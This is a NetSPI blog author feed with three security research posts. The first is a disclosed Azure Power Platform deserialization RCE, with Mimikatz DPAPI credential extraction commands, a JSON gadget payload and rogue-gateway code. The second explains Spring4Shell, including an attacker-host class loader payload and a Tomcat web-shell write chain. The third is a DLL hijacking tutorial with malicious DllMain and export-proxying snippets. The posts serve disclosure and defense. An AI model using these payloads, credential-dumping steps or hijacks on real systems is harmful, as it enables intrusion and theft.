Nick Landers, Author at NetSPI The Proactive Security Solution Wed, 01 May 2024 12:29:00 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 https://www.netspi.com/wp-content/uploads/2024/03/favicon.png Nick Landers, Author at NetSPI 32 32 Riding the Azure Service Bus (Relay) into Power Platform https://www.netspi.com/blog/technical-blog/vulnerability-research/azure-service-bus-power-platform/ Thu, 30 Mar 2023 13:00:00 +0000 https://www.netspi.com/azure-service-bus-power-platform/ NetSPI discovered a remote code execution vulnerability in Power Platform Connectors that allowed access to cross-tenant data. This issue was resolved with the help of MSRC teams at Microsoft.

The post Riding the Azure Service Bus (Relay) into Power Platform appeared first on NetSPI.

]]>
Azure maintains a large suite of automation tools between Logic Apps and the Power Platform (Automate, Apps, BI). On-Prem Data Gateways extend some of these automations by allowing actions to be carried out by a connected agent installed locally in customer networks.  

Originally these gateways were just designed for Power BI and “personal use” only, but you can also connect them to an Azure tenant and make them available to the larger subscription. In essence, you can bind an on-prem data gateway to an Azure gateway1 resource, then leverage that on-prem data gateway in a limited set of Power Platform Connectors from Logic Apps. Microsoft maintains a list of these supported connectors in their documentation (we also queried support via APIs to verify its accuracy): 

  • Apache Impala 
  • BizTalk Server 
  • File System 
  • HTTP with Azure AD 
  • IBM DB2 / Informix / MQ
  • MySQL 
  • Oracle Database 
  • PostgreSQL 
  • SAP 
  • SharePoint Server
  • SQL Server 
  • Teradata 

Originally, we wanted to inspect how these logic apps interact with gateways and discover code execution opportunities from an azure tenant into a host network. You might imagine the ability to access file data or force web requests on remote hosts as quite valuable to an attacker. However, our research led us in a more interesting direction that involved cross-tenant compromise in Power Platform Connectors hosted in Azure.

Installation Internals

The installation and setup of the gateway is straightforward. During the initial setup you’ll be prompted for account credentials, gateway name, and recovery key. After installation, the gateway should be bonded to the Power Platform, and you can verify its availability in the Admin Portal. Connecting the gateway to an Azure subscription does require you allocate a separate “On-Prem Gateway” object via the portal. It’s worth double checking your region and target subscription before the gateway object becomes available under “Installation Name”. 

On-premises data gateway portal in Azure.
Power Platform admin center showing gateway cluster: demo-gateway.
Subscription and instance details within Azure data gateway.

Back on the gateway host, a service for Microsoft.PowerBI.EnterpriseGateway.exe will be installed to run core functions. A configuration app EnterpriseGatewayConfigurator.exe is available to view the status of the service, reconfigure parameters, run diagnostics, etc. Underneath their relationship is backed by a localhost WCF TCP ServiceHost (IGatewayConfigurationService) using a ServiceAuthorizationManager to limit access to administrators. 

Any curiosity regarding the “recovery key” we supplied is well founded. Gateways support both symmetric and asymmetric encryption to securely transfer sensitive credentials. When registering the gateway, the recovery key will be used to derive a symmetric key stored by the gateway host. Random bytes will be encrypted with this key and attached to an annotation field on the gateway object in the Power Platform (referred to as a “witness string”). This allows client-side verification of a matching key during recovery/change operations. In addition to symmetric material, an RSA keypair will be generated by the service and the public component will be transferred during creation. As clarified by Microsoft, the symmetric key is retained locally as a derivation of the recovery key value. 

We can see the client request to create the gateway here:

PUT /unifiedgateway/gateways/CreateGatewayWithApps HTTP/2 
Host: wabi-us-north-central-redirect.analysis.windows.net 
Authorization: Bearer [token] 

{ 
    "createGatewayRequest": { 
        "gatewayName": "demo-gateway", 
        "gatewayDescription": null, 
        "gatewayAnnotation": "{\"gatewayContactInformation\":[\"noexist@netspi.com\"],\"gatewayVersion\":\"3000.154.3\",\"gatewayWitnessString\":\"{\\\"EncryptedResult\\\":\\\"qAesqTDEw5WdQq[…]\\\",\\\"IV\\\":\\\"Zqq9Hc2qIFNzVOBEz5ymsg==\\\",\\\"Signature\\\":\\\"i9Urdz0HlpRBEuklU[…]\\\"}\",\"gatewayMachine\":\"DESKTOP-BDI31DO\",\"gatewaySalt\":\"51lQj3EFVfousJiQuSQdYQ==\",\"gatewayWitnessStringLegacy\":null,\"gatewaySaltLegacy\":null,\"gatewayDepartment\":null,\"gatewayVirtualNetworkSubnetId\":null}", 
        "gatewayPublicKey": "PD94bWwgdmVyc2lvbj0iMS4wIj8+DQo8UlNBUGFyYW1ldGVycyB4bWxuczp4c2Q9Imh0dHA[…]", 
        "gatewayVersion": "3000.154.3", 
        "gatewaySBDetails": null, 
        "gatewaySBDetailsSecondary": null, 
        "createSecondaryRelay": true 
    } 
}

The response to this request gives us additional context for how the gateway communicates with other components:

HTTP/2 200 OK 
Content-Type: application/json; charset=utf-8 
Requestid: f30a7f4a-8dea-4b66-abe3-430054f0ed72 

{ 
    "gatewayId": 3139190, 
    "gatewayObjectId": "7a67b558-5ec0-4588-8c97-c2dd8ee2fb1d", 
    "gatewayName": "demo-gateway", 
    "gatewayType": "Resource", 
    "gatewaySBDetails": { 
        "gatewaySBKey": "ABBBmLK2loqL7yY414H/X33xAADL3Q/QZPLeyxbb14=", 
        "gatewaySBKeyName": "ListenAccessKey", 
        "gatewaySBEndpoint": "sb://wabi-us-north-central-relay12.servicebus.windows.net/4ec23ba7-6ebd-4ab4-921a-5256e2a27a70/" 
    }, 
    "gatewaySBDetailsSecondary": null, 
    "deprecatedServiceBusNamespace": null, 
    "deprecatedServiceBusEndpoint": null, 
    "deprecatedServiceBusNamespaceSecondary": null, 
    "deprecatedServiceBusEndpointSecondary": null 
}

On-Prem Data Gateways leverage an allocated Azure Relay connection (gatewaySBDetails) to securely expose its service to the public cloud. This was formerly known as Service Bus Relay hence the Service Bus key names. This allows cloud resources to bind to the gateway as if it were another cloud service and issue data processing requests. Users can supply their own relay details, or have the Power Platform allocate one. This relationship is managed by the Microsoft.PowerBI.* libraries and leverages a NetTcpRelayBinding and ServiceHost to expose the gateway to the public cloud. You can think of this as a reverse proxy to the gateway host via Azure Relay. 

In terms of connecting to this Azure Relay, the key material is readily available to us by proxying web traffic during installation. However, inspecting the local storage of this data is also a valuable exercise. All sensitive config data is stored in “%LocalAppData%\Microsoft\On-premises data gateway\Gateway.bin” from the context of the service account. It’s serialized JSON block with values protected by user-context DPAPI keys. We can perform a quick extraction using Mimikatz and Powershell: 

Extract the credentials and write blobs to disk: 

PS> $file = "C:\Windows\ServiceProfiles\PBIEgwService\AppData\Local\Microsoft\On-premises data gateway\Gateway.bin" 
PS> $creds = (cat $file | ConvertFrom-Json).credentials 
PS> $creds 

key               value 
---               ----- 
SBD               AQAAANCMnd8BFdERjHoA… 
SBDS              AQAAANCMnd8BFdERjHoA… 
SK                AQAAANCMnd8BFdERjHoA… 
LSK               AQAAANCMnd8BFdERjHoA… 
FileCredentialKey AQAAANCMnd8BFdERjHoA… 

PS> $creds | %{ [IO.File]::WriteAllBytes("$($_.key).bin", 
[Convert]::FromBase64String($_.value)) } 

Get the DPAPI_SYSTEM and service key with Mimikatz: 

PS> .\mimikatz.exe 
mimikatz # token::elevate 
mimikatz # lsadump::secrets 
mimikatz # dpapi::masterkey /in:"C:\Windows\ServiceProfiles\PBIEgwService\AppData\Roaming\Microsoft\Protect\[SID]\[KEY_GUID]" /system:[DPAPI_SYSTEM]

Decrypt the credential blobs:

mimikatz # dpapi::blob /in:SBD.bin /ascii 
mimikatz # dpapi::blob /in:SBDS.bin /ascii 
mimikatz # dpapi::blob /in:SK.bin /ascii 
mimikatz # dpapi::blob /in:LSK.bin /ascii 
mimikatz # dpapi::blob /in:FileCredentialKey.bin /ascii

The contents of FileCredentialKey give us the best context into the other values. The SBD blob is the allocated Azure Relay information from gateway creation, the SK blob is the symmetric key derived from the recovery value, and keyContainerName is the CSP name for our generated asymmetric key. With installation and some internals out the way, let’s move on to how data is serialized and passed on the relay.

{ 
    "id": 3139190, 
    "isDisconnected": true, 
    "objectId": "a9e6208f-669f-412f-a542-a4538121c38b", 
    "backendUri": "https://wabi-us-north-central-redirect.analysis.windows.net/", 
    "keyContainerName": "OdgAsymmetricKey", 

    "serviceBusDetails": {"index": "SBD"}, 
    "serviceBusDetailsSecondary": {"index": "SBDS"}, 
    "symmetricKey": {"index": "SK"}, 
    "legacySymmetricKey": {"index": "LSK"} 
}

Type Handling and Binders

The interface exposed on the relay backed ServiceHost is very simple. It’s essentially a single TransferAsync function on the gateway side and a callback contract for replying (TransferCallbackAsync). Both functions take a single byte array as their argument.

public interface IGatewayTransferCallback 
{ 
    [OperationContract(IsOneWay = true)] 
    Task TransferCallbackAsync(byte[] packet); 
} 

[ServiceContract(CallbackContract = typeof(IGatewayTransferCallback))] 
public interface IGatewayTransferService 
{ 
    [OperationContract(IsOneWay = true)] 
    Task PingAsync(); 

    [OperationContract(IsOneWay = true)] 
    Task TransferAsync(byte[] packet); 
}

The binary data passed to these functions is referred to as a Relay Packet. These packets are serialized binary data blocks, optionally compressed or chunked, and prefixed with a RelayPacketHeader to provide context.

[Flags] 
public enum ControlFlags : byte 
{ 
    None = 0, 
    EndOfData = 1, 
    HasTelemetry = 2, 
    HasCorrectDataSize = 4, 
} 

public enum XPress9Level 
{ 
    None = 0, 
    Level6 = 6, 
    Level9 = 9, 
} 

public enum DeserializationDirective 
{ 
    Json = 1, 
    BinaryRowset = 2, 
    BinaryVarData = 3, 
} 

[StructLayout(LayoutKind.Explicit, Size = 21, Pack = 1)] 
public sealed class RelayPacketHeader 
{ 
    private ControlFlags flags; 
    private int index; 
    private int uncompressedDataSize; 
    private int compressedDataSize; 
    private XPress9Level compressionAlgorithm; 
    private DeserializationDirective deserializationDirective; 
}

We are predominantly concerned with the Json deserialization directive, which is supported by standard JSON.NET (Newtonsoft) libraries. The inspection of core deserialization code leads us to an extremely concerning TypeNameHandling.All configuration.

static T JsonDeserialize<T>(string payload) where T : class 
{ 
    JsonSerializerSettings settings = new JsonSerializerSettings() 
    { 
        TypeNameHandling = TypeNameHandling.All, 
        SerializationBinder = (ISerializationBinder)new DataMovementSerializationBinder() 
        // ... 
    }; 

    return JsonConvert.DeserializeObject<T>(payload, settings); 
}

It would appear some considerations are made for type security. The DataMovementSerializationBinder is applied to check incoming type names for validity. However, the use of serialization binders for security is not recommended and this binder is a great example of why. 

We’ve extracted just a small snippet of the decompiled source, but the relevant weakness is the allow listing of any types from PowerBI, DataMovement, and Mashup assemblies in IsAcceptableAssemblyName regardless of the specific type. 

public Type BindToType(string assemblyName, string typeName) { 
    if (this.IsAcceptableBasicTypeName(typeName) ||  
        this.IsAcceptableAssemblyName(assemblyName) || 
        this.IsAcceptableDictionaryType(typeName) ||  
        this.IsAcceptableMscorlibException(assemblyName, typeName) 
    ) { 
        return this.serializationBinder.BindToType(assemblyName, typeName) 
    } 

    return null; 
} 

private bool IsAcceptableAssemblyName(string assemblyName) { 
    return assemblyName.StartsWith("Microsoft.PowerBI") ||  
        assemblyName.StartsWith("Microsoft.DataMovement") ||  
        assemblyName.StartsWith("Microsoft.Mashup") ||  
        assemblyName.StartsWith("Microsoft.Data.Mashup"); 
}

A quick scan of available types leads us to Microsoft.Mashup.Storage.SerializableDictionary, an overload of a standard Dictionary class with a controllable value type that won’t be checked. We also need to find a vulnerable object tree that types some property as a generic Object to bypass IsAssignableTo checks, but that’s also quite trivial. Ultimately Microsoft.PowerBI.DataMovement.Pipeline.InternalContracts.Communication.GatewayHttpWebRequest with a nested Microsoft.Mashup.Storage.SerializableDictionary for our WindowsIdentity gadget gets the job done: 

{ 
  '$type': 'Microsoft.PowerBI.DataMovement.Pipeline.InternalContracts.Communication.GatewayHttpWebRequest, Microsoft.PowerBI.DataMovement.Pipeline.InternalContracts', 
  'request': { '$type': 'System.Byte[], mscorlib', '$value': '/w==' }, 
  'property': { 
    '$type': 'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib', 
    'foo': { 
      '$type': 'Microsoft.Mashup.Storage.SerializableDictionary`2[[System.String, mscorlib],[System.Security.Principal.WindowsIdentity, mscorlib]], Microsoft.MashupEngine', 
      'bar': { 
        'System.Security.ClaimsIdentity.actor': '**PAYLOAD**' 
      } 
    } 
  } 
}

Return to Sender

We now have the primitive necessary to exploit processing code on either end of the Azure Relay for code execution. We could attempt to target the gateway itself but gaining remote access to the required access keys makes this a very limited attack vector. However, going the other way is much more interesting. The Power Platform runtime, which puts messages on the relay, likely leverages the same serialization code and we already understand how to communicate on the relay. 

We can now leverage a minimal Azure relay client to bind to the cloud and wait for tasking. When a Power Platform Connector communicates with the gateway, we can wrap our serialization payload in a RelayPacketHeader and deliver it using TransferCallbackAsync. Getting the Power Platform to communicate with the fake gateway is straight-forward. We set up a fresh Logic App, select one of the on-prem supported connectors, and trigger any activity against our gateway (test connection, store credentials, query data, etc.). You can find the proof-of-concept on Github and the relevant code below.

class GatewayTransferService : IGatewayTransferService 
{ 
    public Task PingAsync() { 
        return new Task(() => {}); 
    } 

    public Task TransferAsync(byte[] bytes) 
    { 
        string Payload = "..."; 

        var response = Encoding.Unicode.GetBytes(Payload); 
        byte[] responseBytes = new byte[response.Length + RelayPacketHeader.Size]; 

        new RelayPacketHeader() 
        { 
            HasCorrectDataSize = true, 
            IsLast = true, 
            Index = 0, 
            UncompressedDataSize = response.Length, 
            CompressedDataSize = response.Length, 
            CompressionAlgorithm = XPress9Level.None, 
            DeserializationDirective = DeserializationDirective.Json 
        }.Serialize(responseBytes); 

        Array.Copy((Array)response, 0, (Array)responseBytes, RelayPacketHeader.Size, response.Length); 

        IGatewayTransferCallback callback = OperationContext.Current.GetCallbackChannel<IGatewayTransferCallback>(); 
        return callback.TransferCallbackAsync(responseBytes); 
    } 
} 

// ... 

ServiceBusEnvironment.SystemConnectivity.Mode = ConnectivityMode.Http; 

ServiceHost serviceHost = new ServiceHost(typeof(GatewayTransferService)); 

serviceHost.AddServiceEndpoint( 
    typeof(IGatewayTransferService), 
    new NetTcpRelayBinding() { IsDynamic = false }, 
    Endpoint 
).Behaviors.Add( 
    new TransportClientEndpointBehavior { 
        TokenProvider = TokenProvider.CreateSharedAccessSignatureTokenProvider(KeyName, Key) 
    } 
); 

serviceHost.Open();
Logic Apps Designer showing the Power Platform application.

Depending on the connector used, different backends will process the final payload. Initially we delivered various exploratory payloads using various connectors, which in turn would exfiltrate environmental data to an Azure Function App. We selected the most promising backend without additional obvious sandboxing (HTTP w/ Azure AD) and deployed a full stage 2 agent into memory (Slingshot). We achieved SYSTEM access, and the execution environment was clearly deep inside first-party Power Platform services in Azure.  

From the compromised host, the IMDS endpoint granted access to an authentication token for various key vault secrets and keys. We retrieved fabric configuration files, tenant information, and access to managed identities. From the decrypted Azure VM extension settings, we were able to identify Storage Account keys along with several valid SAS token Storage Account URLs configured with long expiration durations (~3 months) and the ability to list and read files (sp=rl). Overall, we calculated access to at least 1,300 secrets/certs over ~180 vaults. When it was clear cross-tenant access was possible, we burned off the affected hosts and a full report was delivered to MSRC.

Screenshot showing code execution on power platform connectors host.
Screenshot showing cross-tenant access in Azure.
Screenshot showing cross-tenant access in Azure.

Conclusion

Microsoft fixed this issue by completely rebuilding their serialization binder to enforce much stricter type allow list. They also appear to have distinct binders for both the gateway and cloud sides, but safe serialization in such a complex system clearly remains a tricky task even for Microsoft. There are many areas of related research that we didn’t get to. The Power Platform and its relationship to Azure is rich in technical complexity. I’m sure a motivated researcher could yield more interesting results from the execution of requests in the client, individual logic app functionality, gateway APIs, and data sanitization. As we also discovered, different logic apps appeared to be supported by an array of backend systems with different configurations, isolations, and intents. I hope this post can inspire fresh eyes to look at these systems more. 

Appendix A – Disclosure Timeline 

  • September 2022: Report filed with MSRC. 
  • October 2022: MSRC opens case 75270 and additional details are provided. 
  • October 2022: Call with MSRC stakeholders to demonstrate vulnerability. 
  • November 2022: Fix is deployed to public cloud. 
  • December 2022: Fix is deployed to all remaining regions. 

Appendix B – References 

The post Riding the Azure Service Bus (Relay) into Power Platform appeared first on NetSPI.

]]>
Navigating the Complexities of Spring4Shell [CVE-2022-22965] https://www.netspi.com/blog/executive-blog/application-pentesting/spring4shell/ Wed, 06 Apr 2022 20:00:00 +0000 https://www.netspi.com/spring4shell/ Explore the intricacies of Spring4Shell discovery and remediation and learn how the vulnerability [CVE-2022-22965] may impact you.

The post Navigating the Complexities of Spring4Shell [CVE-2022-22965] appeared first on NetSPI.

]]>
On March 29, 2022, organizations experienced widespread concern when the Spring4Shell vulnerability was disclosed. Since then, we’ve noticed a sense of confusion around the remote code execution (RCE) vulnerability and its impact.  

Before we dive into the vulnerability details, here are four facts to help you understand what Spring4Shell really is – and its intricacies: 

  • The vulnerability was leaked ahead of CVE publication and ahead of the emergency releases planned by the Spring Framework team. This small window gave time for individuals to speculate on total impact and spread unfounded claims.
  • The name “Spring4Shell” was sometimes used for both this issue (CVE-2022-22965) and another Spring vulnerability (CVE-2022-22963) related to Cloud Function Expressions. However, these vulnerabilities are unrelated and should be handled independently.
  • Spring4Shell is actually a bypass for a fixed issue from 12 years ago, CVE-2010-1622, which involves the same abuse of nested properties to access class loader objects. The issue itself stems from insecure coding patterns that Spring recommends avoiding. In addition, it depends on specific deployment and environmental requirements. All of this makes it difficult to identify affected applications. We’ll cover detection in detail later in this blog.
  • Impact is still to be determined, as there are conflicting claims about Spring4Shell being actively exploited. Initial reports compare it to Log4Shell, which has been leveraged in many known attacks since disclosure. But after analysis of the initial report, it is still unclear how many applications are truly vulnerable to attacks.  

In summary, this vulnerability was prematurely leaked shortly after the publication of another unrelated Spring issue. The name “Spring4Shell” was quickly abused in reference to the recent “Log4Shell” issue, despite the vulnerabilities having significantly different impact. Misinformation about the vulnerability quickly circulated while the Spring team was still preparing its patches and technical guidance. 

As we monitor the situation closely, we will update this blog with new details. Continue reading to learn what we know so far and how we’ve optimized NetSPI’s Attack Surface Management platform to help organizations identify vulnerable instances of Spring Framework. 

Current Status: On March 31, 2022, a patch was released by the Spring team for CVE-2022-22965

What is Spring4Shell? 

Spring4Shell is a vulnerability found in the Java Spring Core framework that could allow for remote code execution (RCE) on web servers around the world. As noted above, this issue is almost identical to an older vulnerability from 2010 and if exploited, could allow attackers to write files to the underlying web server host, modify system configurations, or upload web shells for code execution.  

The popularity of VMWare-owned Spring and the prematurely released proof of concept (PoC) generated lofty expectations of abuse. However, nuances in the technical details have revealed exploitation is slightly more than trivial and dependent on specific coding practices and deployment environments. 

Follow along with us as we breakdown the technical details of the issue, who exactly is affected, and how to handle the next round of vulnerability panic. 

Technical Overview 

Underneath, the vulnerability depends on the unsecured use of basic Java objects (POJOs) as parameters in request mappings. The Spring MVC supports this concept to simplify the mapping of HTML form bodies to objects. Here is an example of this feature in use: 

public class User { 
    public String name; 
 
 
    public String getName(); 
    public void setName(String name); 
} 
 
 
@RequestMapping("/adduser") 
public User addUser(User user) { 
    return user; 
} 

This code is convenient, but technically goes against guidance from Spring by not configuring allowFields on the DataBinder. It’s the novelty of this specific pattern that casts uncertainty on how many applications might be affected. We can leverage this endpoint to create a new User object with the following request. 

POST /adduser HTTP/1.1 
 
name=Nick 

Upon receiving the request, Spring (specifically the Beans subsystem) will inspect the User class and try to assign properties to a new object based on the parameters provided. If a more complicated object was supplied, Spring would also allow us to supply nested properties such as this: 

POST /adduser HTTP/1.1 
 
address.city.name=NewYork 

Which, through reflection, would equate the following Java calls: 

UserObj.getAddress().getCity().setName("NewYork"); 

It’s here that we arrive at the primary concern. In the examples above, we’re assigning expected properties on our User object, but there are many other “hidden” properties that could be abused to access core internal classes in the Java framework. This was originally disclosed in CVE-2010-1622, where the payload accessed the URLs on a nested Class Loader object: 

class.classLoader.URLs[0]=jar:https://attacker/evil.jar!/ 
 
UserObj.getClass().getClassLoader().getURLs()[0] = 
"jar:https://attacker/evil.jar!/"; 

While the original fix blocked access to the classLoader property, this issue resurfaced in JDK 9 where you could now access the module property on a class, and leverage the classLoader from that instead: 

class.module.classLoader... 
  
UserObj.getClass().getModule().getClassLoader()…;

In addition to restoring classLoader access, the leaked Spring4Shell proof of concept (PoC) took a different approach to achieving code execution. Rather than manipulating class loader URLs (which have since been more secured), the author used property walking to access the Tomcat logging class and reconfigure its properties to achieve an arbitrary file write. In the example below shell.jsp could be written to any filesystem path with the supplied contents from the pattern property. 

class.module.classLoader.resources.context.parent.pipeline.first.
prefix=shell 
class.module.classLoader.resources.context.parent.pipeline.first.
suffix=.jsp 
class.module.classLoader.resources.context.parent.pipeline.first.
pattern=[Content] 
class.module.classLoader.resources.context.parent.pipeline.first.
directory=[Path] 

The new fix for this vulnerability more thoroughly inspects properties to block access to the classLoader and protectionDomain irregardless of where they fall in the object graph. However, even Spring notes that this doesn’t prevent the abuse of unrestricted parameter bindings in more specific cases. Developers should understand the implications of this feature and follow the hardening guidance from Spring whenever possible. 

Am I Affected by Spring4Shell? 

Exploitation of the vulnerability depends on specific coding patterns and deployment environments, both of which make the issue difficult to identify with simple scanners. Any individual web endpoint (authenticated or not) in an application could be affected. As a first step, we encourage you to connect directly with your development teams to assess application dependency trees.  

According to the Spring team’s report, those who meet the following criteria are affected by the Spring4Shell vulnerability.  

  • Java Development Kit (JDK) 9 or higher 
  • Apache Tomcat as the Servlet container 
  • Packaged as a traditional WAR (in contrast to a Spring Boot executable jar) 
  • Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions 
  • spring-webmvc or spring-webflux dependency 

Spring4Shell Detection 

For better or worse this vulnerability is difficult to detect remotely from a blind context. As mentioned, any endpoint in an application might be affected and requirements like authentication might result in many false negatives. Here is a breakdown of our recommended detection strategies to follow: 

  • Contact internal development teams to identify custom applications that leverage the Spring framework. Vulnerable versions are noted above and there are multiple options for patching and mitigations. There are also local scanners available to help search for affected JAR files on the system.
  • Monitor vendor sites for the references to CVE-2022-22965/Spring4Shell to identify and patch 3rd party applications.
  • External web requests can be used as a primitive detection for this vulnerability. When certain invalid data is provided for property resolution, the server might often return a different status code (400/500). Scanners can perform multiple requests against web endpoints to identify variable status codes based on input. This is a good indication that access to nested classLoader objects is allowed.  

Additionally, NetSPI has optimized our Attack Surface Management (ASM) platform to detect Spring4Shell at scale and in unique scenarios. Our team of expert pentesters, researchers, developers, among others, research, triage, and discover new vulnerabilities daily. As they are disclosed, new vulnerabilities are added to our ASM platform for continuous monitoring. For our current external network penetration testing customers, we have updated our processes to include Spring4Shell testing for in-scope projects. 

As ubiquitous vulnerabilities like Log4Shell and Spring4Shell become more prevalent, understanding your attack surface has never been more important. Those that proactively and continuously monitor and inventory their attack surface will be in better shape to find and address vulnerable instances of Spring Framework in a fast and comprehensive manner. 

Spring4Shell Remediation 

The Spring Framework team has since released fixes to the vulnerability. Make sure you update to Spring Framework 5.3.18 and 5.2.20 or greater. 

Where that isn’t possible, the following code can be added to secure parameter bindings, although Spring themselves notes this might not be comprehensive in every circumstance.  

@ControllerAdvice 
@Order(Ordered.LOWEST_PRECEDENCE) 
public class BinderControllerAdvice { 
 
    @InitBinder 
    public void setAllowedFields(WebDataBinder dataBinder) { 
         String[] denylist = new String[]{"class.*", "Class.*", 
         "*.class.*", "*.Class.*"}; 
         dataBinder.setDisallowedFields(denylist); 
    } 
 
} 

If you are running older Spring Framework versions or can’t make the update, Spring published these workarounds for you.  

Additionally, Apache Tomcat, one of the preconditions, released new versions to close the attack vector on Tomcat’s side. In their post, they point to the importance of having multiple mitigation options that “provide flexibility and layered protection.” 

When seemingly critical vulnerabilities like Spring4Shell are brought to light, it’s important to identify reliable resources and peers that can help you understand the vulnerability nuances.  

We hope this blog helped you better understand the vulnerability, its impact, and your options for detection and remediation. NetSPI is available to walk through our detection process and help you navigate the complexities this vulnerability presents. Please contact us to learn more. 

The post Navigating the Complexities of Spring4Shell [CVE-2022-22965] appeared first on NetSPI.

]]>
Adaptive DLL Hijacking https://www.netspi.com/blog/technical-blog/adversary-simulation/adaptive-dll-hijacking/ Wed, 19 Feb 2020 13:00:45 +0000 https://www.netspi.com/adaptive-dll-hijacking/ If you’ve ever “understood” DLL hijacking, only to return to your lab and fail to get it working properly, this post is for you.

The post Adaptive DLL Hijacking appeared first on NetSPI.

]]>
DLL hijacking has been a centerpiece of our operations for many years. During that time we’ve explored the deep caveats which make this technique difficult to actually use in the real world. Our implementations have expanded to include export table cloning, dynamic IAT patching, stack walking, and run time table reconstruction. We explore the details of these techniques extensively in our Dark Side Ops courses and we’d like to share some of that knowledge here.

If you’ve ever “understood” DLL hijacking, only to return to your lab and fail to get it working properly, this post is for you.

TLDR? Check out Koppeling. You really should read it though 

Refresher

This post won’t cover the basics of DLL hijacking. We expect you are familiar with module search order, KnownDLLs, “safe search”, etc. If you need a refresher, here are some links:

In addition, some tooling designed to discover/exploit hijacks:

When you first learned about DLL hijacking, you were likely shown a fairly primitive example which is trivial to exploit. Something like this:

void BeUnsafe() {
	HMODULE module = LoadLibrary("functions.dll");
	// ...
}

Here, we simply need to get some evil code into the correct location as “functions.dll”. LoadLibrary will ultimately trigger the execution of our DllMain function, where we might write something like this:

BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved)
{
	if (reason != DLL_PROCESS_ATTACH)
		return TRUE;

	// Do evil stuff
	system ("start calc.exe");

	return TRUE;
}

There are a few critical reasons exploitation is so trivial here. We’ll go through them here and then look at each one in more detail throughout the post.

  1. We don’t maintain the stability of the source process. In most instances, it will exit, crash, or otherwise misbehave as a result of our hijack. After all, it’s likely loading this DLL for a reason.
  2. We don’t maintain code execution in the source process. As an extension of 1, we are simply executing calc externally. We don’t care if the process stays up, or even what happens after we “pop our shell”.
  3. We don’t care about loader lock. Because our entry point is so simple, we don’t have to worry about executing complex code inside DllMain while the loader lock is held (which can be dangerous).
  4. We don’t have to worry about export names. Because this hijack occurs as a result of LoadLibrary, our malicious DLL doesn’t need to include any specific export names or ordinals.

If you’ve ever attempted to hijack in the real world, and something broke/failed, it was likely because of one (or many) of the 4 points above. Our time spent hijacking has yielded many tools and snippets which we’ll share throughout the post, so let’s get smarter.

Execution Sinks

There are two primary “sinks” from which DLL execution can originate. The names aren’t important, but we need consistent terminology to stay on the same page. Both of these sinks are provided by the module loader (LDR) within ntdll.dll. If an actor is interested in gaining execution as part of a DLL load, they require a call to ntdll!LdrpCallInitRoutine, triggering execution of evil!DllMain.

Static Sink (IAT)

The most obvious cause for DLL initialization is the result of its inclusion in a dependency graph. Specifically, it’s membership of a required module’s import address table (IAT). This will most likely occur during process initialization (ntdll!LdrpInitializeProcess), but can also occur as a result of dynamic loading.

Here, the subsystem is simply calculating all required dependencies for a particular load event, and sequentially initializing them. However, before passing execution to the new module, it’s export table will be examined to ensure it provides the expected functionality. This is done by comparing the EAT of the child module and patching those addresses into the IAT of the parent module. A typical call stack looks something like this:

ntdll!LdrInitializeThunk <- New process starts
ntdll!LdrpInitialize
ntdll!_LdrpInitialize
ntdll!LdrpInitializeProcess
ntdll!LdrpInitializeGraphRecurse <- Dependency graph is built
ntdll!LdrpInitializeNode
ntdll!LdrpCallInitRoutine
evil!DllMain <- Execution is passed to external code

Dynamic Sink (LoadLibrary)

In a similar, but distinctly different process, active code is requesting a new module be initialized without specifying required functions. As a result, ntdll!LdrLoadDll will happily ignore the export table of the target module. This will likely be followed by GetProcAddress in an attempt to identify a particular function for run time use, but not always.

The dependency graph will be calculated with the requested module at its root and load events will occur as described above. This call stack looks something like this:

KernelBase!LoadLibraryExW <- Dynamic module load is requested
ntdll!LdrLoadDll
ntdll!LdrpLoadDll
ntdll!LdrpLoadDllInternal
ntdll!LdrpPrepareModuleForExecution
ntdll!LdrpInitializeGraphRecurse <- Dependency graph is built
ntdll!LdrpInitializeNode
ntdll!LdrpCallInitRoutine
evil!DllMain <- Execution is passed to external code
Takeaway

Hijacks are more complicated to implement when part of a static sink. We need to ensure our export table supplies the required import names of our parent module before we have control over execution. In addition, by the time we have control of execution the addresses in our EAT will have already been patched into the parent module. This complicates any solution which would just rebuild the export table at run time.

Function Proxying

Maintaining stability in our source process demands that we proxy functionality to the real DLL (if there is one). This essentially means, through one means or another, linking our export table to the export table of the real DLL. Game hackers have been using this for a long time, but like hikers and hunters, the knowledge was slow to propagate to network security spheres. Here are some references links that tackle proxying through different methods:

And here are some projects that implement these methods:

These techniques all accomplish the same outcome through slightly different means. Let’s take a quick look at some strategies for better understanding.

Export Forwarding

PE files provide a simple mechanism for redirecting exports to another module. We can take advantage of this and simply point our names at the same export from the real DLL. You can either rename the real file or just use the full path. Most do this using linker directives like so:

#pragma comment(linker,"/export:ReadThing=real.ReadThing")
#pragma comment(linker,"/export:WriteThing=real.WriteThing")
#pragma comment(linker,"/export:DeleteThing=real.#3")
#pragma comment(linker,"/export:DoThing=C:Windowsreal.DoThing")
// ...

Very easy, and we offload the work to the loader subsystem. It might look a bit obvious that we are attempting a hijack (e.g. every export is forwarded), but the advantage lies in its simplicity. One downside is the requirement to modify source code and/or build processes to prepare a DLL for hijacking, we’ll solve this later.

The traditional format for the module name was *without* the “.dll” extension when defining a forward. Nowadays this doesn’t matter as the LDR subsystem has learned to ignore it. However, older systems like Windows 7 / Server 2008 will still fail if an extension is included. They also might crash when error reporting is attempted due to LdrUnloadDll being called too early.

Stack Patching

An equally elegant, but more dynamic approach is to walk the stack backward from DllMain and replace the return value for the LoadLibrary call above us with a different module handle. As a result, any future calls to lookup functions will simply bypass us completely. It should be no surprise to the reader at this point, but this technique will only work for dynamic sinks. With static sinks, the LDR subsystem has already validated our export table and patched IATs with its values, nor does it care what we have to say about module handles.

Preempt mentions this in a post about Vault 7 techniques, but they don’t go into much detail. Luckily we’re crazy enough to try this stuff, so we’ve written a small PoC which should demo the trick nicely for anyone who wants to run with it.

https://gist.github.com/monoxgas/b8a87bec4c4b51d8ac671c7ff245c812

Run Time Linking

Here we create a hollow list of function pointers, and compile our export table to reference them. The names will be there, but the functions themselves won’t go anywhere useful. When we gain control in DllMain, we load the real DLL dynamically and remap all of the function pointers at run time. This is essentially re-implementing export forwarding…. but with more code. We still have the same disadvantage of modifying source and/or build processes.

EXPORTS

ReadThing=ReadThing_wrapper @1
WriteThing=WriteThing_wrapper @2
DeleteThing=DeleteThing_wrapper @3
.code
extern ProcList:QWORD
